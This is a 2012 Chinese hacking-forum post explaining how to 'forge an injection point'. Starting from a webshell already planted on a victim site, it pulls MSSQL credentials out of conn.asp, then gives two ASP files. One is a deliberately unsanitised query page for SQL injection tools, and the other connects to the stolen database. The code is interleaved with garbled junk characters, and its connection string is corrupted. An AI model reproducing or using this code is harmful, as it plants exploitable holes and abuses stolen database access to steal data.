找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2028|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
1 B9 m0 j/ Y% g" q- G+ mASP/Visual Basic代码
0 O0 ?+ N5 v3 V- V% L) ~1 v<!--#include file="xx.asp"-->   
/ M/ u  t( x, B; s' o1 }<%    1 r' }. _. g( ~4 `  z  c
set rs=server.createobject("ADODB.recordset")   
$ s9 W1 P7 Q. i4 N5 x0 ~' Did = request("id")    & [3 S1 o8 a3 Z! H* G3 n+ n
strSQL = "select * from admin where id=" & id   
' c6 C9 V$ }9 n- {& ]3 P/ qrs.open strSQL,conn,1,3    - E; I! e4 g' Z) [4 u
rs.close   
' x1 a& e9 v$ X3 V( {%>  
) u) W4 \, u) q' C% @# v把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!2 f1 f9 j5 e6 B( V. w  D- d
然后就要构造一个连接数据库的文件了,代码如下:
& z8 t  T4 B0 W7 A' yASP/Visual Basic代码( H* }8 z( u' F2 T
<%            - d$ @) c8 z9 y4 h
strSQLServerName = "000.000.000.000"     '服务器名称或地址   
1 ?3 H! e! C5 YstrSQLDBUserName = "sqlname"         '数据库帐号    3 x. x! W1 j2 [
strSQLDBPassword = "sqlpass"         '数据库密码    . Z( G3 A3 {8 l- V( D$ Z
strSQLDBName = "sqldataname"           '数据库名称   
# ^) c. T$ ~, L6 n5 ISet conn = Server.CreateObject("ADODB.Connection")   
" @) N# D9 v5 a$ |# J  [8 ZstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   + @6 p6 {  H7 b9 l2 X
conn.open strCon    " L% K. Y: T$ `5 o* s
%>  : T8 C" ~% Y6 c; \+ Q8 u- A
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功% @% ~& l0 K8 B  U4 f& Q5 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表